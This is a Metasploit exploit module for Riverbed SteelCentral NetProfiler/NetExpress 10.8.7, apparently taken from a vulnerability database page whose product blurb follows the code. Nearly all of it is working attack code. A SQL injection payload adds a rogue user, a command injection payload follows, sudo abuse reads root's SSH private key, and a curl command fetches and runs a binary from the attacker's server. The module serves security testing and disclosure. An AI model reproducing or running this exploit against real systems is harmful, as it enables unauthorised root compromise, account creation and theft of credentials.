##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
require 'digest'
def initialize(info={})
super(update_info(info,
'Name' => "Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution",
'Description' => %q{
This module exploits three separate vulnerabilities found in the Riverbed SteelCentral NetProfiler/NetExpress
virtual appliances to obtain remote command execution as the root user. A SQL injection in the login form
can be exploited to add a malicious user into the application's database. An attacker can then exploit a
command injection vulnerability in the web interface to obtain arbitrary code execution. Finally, an insecure
configuration of the sudoers file can be abused to escalate privileges to root.
},
'License' => MSF_LICENSE,
'Author' => [ 'Francesco Oddo <francesco.oddo[at]security-assessment.com>' ],
'References' =>
[
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Riverbed-SteelCentral-NetProfilerNetExpress-Advisory.pdf' ]
],
'Platform' => 'linux',
'Arch' => ARCH_X86_64,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'Riverbed SteelCentral NetProfiler 10.8.7 / Riverbed NetExpress 10.8.7', { }]
],
'DefaultOptions' =>
{
'SSL' => true
},
'Privileged' => false,
'DisclosureDate' => "Jun 27 2016",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The target URI', '/']),
OptString.new('RIVERBED_USER', [true, 'Web interface user account to add', 'user']),
OptString.new('RIVERBED_PASSWORD', [true, 'Web interface user password', 'riverbed']),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
Opt::RPORT(443)
],
self.class
)
end
def check
json_payload_check = "{\"username\":\"check_vulnerable%'; SELECT PG_SLEEP(2)--\", \"password\":\"pwd\"}";
# Verifies existence of login SQLi
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),
'ctype' => 'application/json',
'encode_params' => false,
'data' => json_payload_check
})
if res && res.body && res.body.include?('AUTH_DISABLED_ACCOUNT')
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Attempting log in to target appliance")
@sessid = do_login
print_status("Confirming command injection vulnerability")
test_cmd_inject
vprint_status('Ready to execute payload on appliance')
@elf_sent = false
# Generate payload
@pl = generate_payload_exe
if @pl.nil?
fail_with(Failure::BadConfig, 'Please select a valid Linux payload')
end
# Start the server and use primer to trigger fetching and running of the payload
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
end
end
def get_nonce
# Function to get nonce from login page
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,'/index.php'),
})
if res && res.body && res.body.include?('nonce_')
html = res.get_html_document
nonce_field = html.at('input[@name="nonce"]')
nonce = nonce_field.attributes["value"]
else
fail_with(Failure::Unknown, 'Unable to get login nonce.')
end
# needed as login nonce is bounded to preauth SESSID cookie
sessid_cookie_preauth = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''
return [nonce, sessid_cookie_preauth]
end
def do_login
uname = datastore['RIVERBED_USER']
passwd = datastore['RIVERBED_PASSWORD']
nonce, sessid_cookie_preauth = get_nonce
post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'/index.php'),
'cookie' => "SESSID=#{sessid_cookie_preauth}",
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => false,
'data' => post_data
})
# Exploit login SQLi if credentials are not valid.
if res && res.body && res.body.include?('<form name="login"')
print_status("Invalid credentials. Creating malicious user through login SQLi")
create_user
nonce, sessid_cookie_preauth = get_nonce
post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'/index.php'),
'cookie' => "SESSID=#{sessid_cookie_preauth}",
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => false,
'data' => post_data
})
sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''
print_status("Saving login credentials into Metasploit DB")
report_cred(uname, passwd)
else
print_status("Valid login credentials provided. Successfully logged in")
sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''
print_status("Saving login credentials into Metasploit DB")
report_cred(uname, passwd)
end
return sessid_cookie
end
def report_cred(username, password)
# Function used to save login credentials into Metasploit database
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
username: username,
private_data: password,
private_type: :password
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)
create_credential_login(login_data)
end
def create_user
# Function exploiting login SQLi to create a malicious user
username = datastore['RIVERBED_USER']
password = datastore['RIVERBED_PASSWORD']
usr_payload = generate_sqli_payload(username)
pwd_hash = Digest::SHA512.hexdigest(password)
pass_payload = generate_sqli_payload(pwd_hash)
uid = rand(999)
json_payload_sqli = "{\"username\":\"adduser%';INSERT INTO users (username, password, uid) VALUES ((#{usr_payload}), (#{pass_payload}), #{uid});--\", \"password\":\"pwd\"}";
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),
'ctype' => 'application/json',
'encode_params' => false,
'data' => json_payload_sqli
})
json_payload_checkuser = "{\"username\":\"#{username}\", \"password\":\"#{password}\"}";
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),
'ctype' => 'application/json',
'encode_params' => false,
'data' => json_payload_checkuser
})
if res && res.body && res.body.include?('session_id')
print_status("User account successfully created, login credentials: '#{username}':'#{password}'")
else
fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
end
end
def generate_sqli_payload(input)
# Function to generate sqli payload for user/pass in expected format
payload = ''
input_array = input.strip.split('')
for index in 0..input_array.length-1
payload = payload << 'CHR(' + input_array[index].ord.to_s << ')||'
end
# Gets rid of the trailing '||' and newline
payload = payload[0..-3]
return payload
end
def test_cmd_inject
post_data = "xjxfun=get_request_key&xjxr=1457064294787&xjxargs[]=Stoken; id;"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'),
'cookie' => "SESSID=#{@sessid}",
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => false,
'data' => post_data
})
unless res && res.body.include?('uid=')
fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
end
end
def cmd_inject(cmd)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'),
'cookie' => "SESSID=#{@sessid}",
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => false,
'data' => cmd
})
end
# Deliver payload to appliance and make it run it
def primer
# Gets the autogenerated uri
payload_uri = get_uri
root_ssh_key_private = rand_text_alpha_lower(8)
binary_payload = rand_text_alpha_lower(8)
print_status("Privilege escalate to root and execute payload")
privesc_exec_cmd = "xjxfun=get_request_key&xjxr=1457064346182&xjxargs[]=Stoken; sudo -u mazu /usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date -f /opt/cascade/vault/ssh/root/id_rsa | cut -d ' ' -f 4- | tr -d '`' | tr -d \"'\" > /tmp/#{root_ssh_key_private}; chmod 600 /tmp/#{root_ssh_key_private}; ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/#{root_ssh_key_private} root@localhost '/usr/bin/curl -k #{payload_uri} -o /tmp/#{binary_payload}; chmod 755 /tmp/#{binary_payload}; /tmp/#{binary_payload}'"
cmd_inject(privesc_exec_cmd)
register_file_for_cleanup("/tmp/#{root_ssh_key_private}")
register_file_for_cleanup("/tmp/#{binary_payload}")
vprint_status('Finished primer hook, raising Timeout::Error manually')
raise(Timeout::Error)
end
#Handle incoming requests from the server
def on_request_uri(cli, request)
vprint_status("on_request_uri called: #{request.inspect}")
print_status('Sending the payload to the server...')
@elf_sent = true
send_response(cli, @pl)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation